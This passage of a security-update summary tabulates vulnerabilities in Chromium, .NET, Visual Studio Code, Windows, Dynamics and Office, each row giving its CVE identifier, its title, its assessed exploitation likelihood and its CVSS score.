CVE-2026-19155	CVE-2026-19155 Use after free in Payments	n/a	No
CVE-2026-19156	CVE-2026-19156 Heap buffer overflow in Base	n/a	No
CVE-2026-19157	CVE-2026-19157 Out of bounds write in ANGLE	n/a	No
CVE-2026-19158	CVE-2026-19158 Use after free in Views	n/a	No
CVE-2026-19159	CVE-2026-19159 Use after free in Views	n/a	No
CVE-2026-19160	CVE-2026-19160 Uninitialized Use in Skia	n/a	No
CVE-2026-19161	CVE-2026-19161 Uninitialized Use in Skia	n/a	No
CVE-2026-19162	CVE-2026-19162 Out of bounds write in V8	n/a	No
CVE-2026-19163	CVE-2026-19163 Use after free in Media	n/a	No
CVE-2026-19164	CVE-2026-19164 Insufficient validation of untrusted input in Codecs	n/a	No
CVE-2026-19165	CVE-2026-19165 Use after free in Extensions	n/a	No
CVE-2026-19166	CVE-2026-19166 Use after free in Web Authentication	n/a	No
CVE-2026-19167	CVE-2026-19167 Integer overflow in GPU	n/a	No
CVE-2026-19168	CVE-2026-19168 Inappropriate implementation in V8	n/a	No
CVE-2026-19169	CVE-2026-19169 Insufficient validation of untrusted input in Contextual Tasks	n/a	No
CVE-2026-19170	CVE-2026-19170 Use after free in WebGL	n/a	No
CVE-2026-19171	CVE-2026-19171 Use after free in Media	n/a	No
CVE-2026-19172	CVE-2026-19172 Use after free in Views	n/a	No
CVE-2026-19173	CVE-2026-19173 Out of bounds write in Skia	n/a	No
CVE-2026-19174	CVE-2026-19174 Integer overflow in V8	n/a	No
CVE-2026-19175	CVE-2026-19175 Use after free in Payments	n/a	No
CVE-2026-19176	CVE-2026-19176 Use after free in Skia	n/a	No
CVE-2026-19177	CVE-2026-19177 Insufficient validation of untrusted input in UI	n/a	No

Developer Tools vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-70354	.NET Core Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62901	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-62909	.NET Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-58641	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62871	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62886	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62872	.NET Framework Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65810	.NET Framework Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62897	.NET Framework Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62900	.NET Information Disclosure Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-62902	.NET Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62899	.NET Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-65675	CoPilot Chat Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-70335	GitHub Copilot and Visual Studio Code Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70337	Microsoft PowerShell Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70338	Microsoft PowerShell Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62898	Microsoft QUIC Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-59119	PowerShell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-58612	PowerShell Information Disclosure Vulnerability	Exploitation Less Likely	No	7.4
CVE-2026-47285	Visual Studio Code Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-54981	Visual Studio Code Python Extension Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59113	Visual Studio Code Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69320	Visual Studio Code Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-70336	Visual Studio Code Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-58650	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69278	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69306	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.2

ESU vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-59130	AMD Zen Information Disclosure Vulnerability	Exploitation Less Likely	No	5.6
CVE-2026-59131	AMD Zen Information Disclosure Vulnerability	Exploitation Less Likely	No	5.6
CVE-2026-62892	Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-65786	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65787	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59136	Microsoft COM for Windows Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62698	Microsoft Digest Authentication Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62912	Microsoft Exchange Server Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62910	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.2
CVE-2026-65813	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62911	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-62913	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62915	Microsoft Exchange Server Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62914	Microsoft Exchange Server Spoofing Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-62784	Microsoft Local Security Authority Server (lsasrv) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-59138	Microsoft Remote Registry Service Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61345	Microsoft Remote Registry Service Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66804	Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-59135	Microsoft Windows Search Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65814	Microsoft Windows Storage Port Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-6726	MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse	Exploitation Less Likely	No	7.9
CVE-2026-6727	MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-65671	Remote Access API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42976	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59134	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-61352	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-61363	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-62824	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54113	Remote Procedure Call Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62781	RPC Runtime Library Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-59125	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.0
CVE-2026-62746	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62743	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62786	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-61358	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62818	Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-49179	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-61348	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-68820	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Detected	No	7.0
CVE-2026-70307	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-62908	Windows Backup Engine Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62713	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62771	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62728	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-61936	Windows Defender Firewall Service Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62893	Windows Deployment Services TFTP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-62747	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62710	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62755	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62812	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62761	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62776	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62803	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62807	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62718	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62715	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62716	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62742	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62745	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62720	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62714	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62814	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62823	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-61923	Windows Display Enhancement Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70304	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-70330	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-62769	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-62778	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62881	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-62883	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-65795	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-65797	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-65799	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-65798	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-62787	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62817	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62878	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-61920	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.6
CVE-2026-61932	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62894	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62888	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62703	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-59128	Windows Encrypting File System (EFS) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-59126	Windows Event Logging Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-59137	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61347	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-65662	Windows GDI Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61360	Windows GDI Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62890	Windows GDI+ Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62709	Windows GDI+ Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62822	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62702	Windows Graphics Kernel Denial of Service Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-61346	Windows Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62774	Windows Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-61928	Windows Hello Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62750	Windows HTTP Protocol Stack Tampering Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-61937	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62753	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62735	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62739	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62741	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-61368	Windows Hyper-V Information Disclosure Vulnerability	Exploitation Less Likely	No	5.0
CVE-2026-62740	Windows Imaging Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-54984	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-59127	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61925	Windows Installer Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70344	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70345	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70346	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70347	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62768	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65774	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65796	Windows iSCSI Target Service Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-65679	Windows iSCSI Target Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-65791	Windows iSCSI Target Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-62754	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62773	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62752	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61930	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-65773	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-66799	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62785	Windows LDAP – Lightweight Directory Access Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62795	Windows LDAP – Lightweight Directory Access Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62777	Windows License Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50472	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62738	Windows Management Instrumentation Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62719	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62717	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65790	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62707	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56174	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61366	Windows Network Connection Broker Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68819	Windows Network File System Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-62797	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62700	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62880	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61350	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-62796	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65784	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62793	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62887	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62696	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62751	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62690	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62816	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62783	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62758	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61924	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61918	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61921	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61356	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61367	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62692	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61364	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61365	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62819	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62757	Windows Schannel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-62889	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-61355	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62770	Windows Shell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62782	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-65794	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62800	Windows SMBv3 Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62790	Windows SMBv3 Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-59132	Windows TCP/IP Denial of Service Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-62792	Windows TCP/IP Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-61353	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62723	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62724	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62748	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62729	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-59122	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62701	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62725	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62726	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62732	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62734	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62699	Windows Universal Disk Format File System Driver (UDFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-61926	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62832	Windows User Profile Service Elevation of Privilege Vulnerability	Exploitation More Likely	Yes	7.8
CVE-2026-62721	Windows User-Mode Power Service (UMPS) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62712	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62876	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62877	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65678	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62711	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62733	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62885	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65775	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62730	Windows Wired AutoConfig Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61349	Windows Work Folder Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61939	Winlogon Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0

Microsoft Dynamics vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-66301	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-65815	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-40375	Microsoft Dynamics Business Central Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5

Microsoft Office vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-64906	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64912	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64908	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64914	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64920	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64919	Microsoft Access Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68802	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68808	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68813	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70318	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70327	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-70328	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68797	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68799	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65807	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-68793	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68794	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68795	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68796	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68800	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68807	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68806	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68810	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68811	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68815	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68816	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68798	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68801	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68803	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68804	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68805	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68812	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68814	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68817	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68792	Microsoft Office Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63517	Microsoft Office Graphics Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62842	Microsoft Office Graphics Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-66809	Microsoft Office Graphics Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63513	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63519	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65664	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63526	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-66807	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70315	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70314	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70317	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70323	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
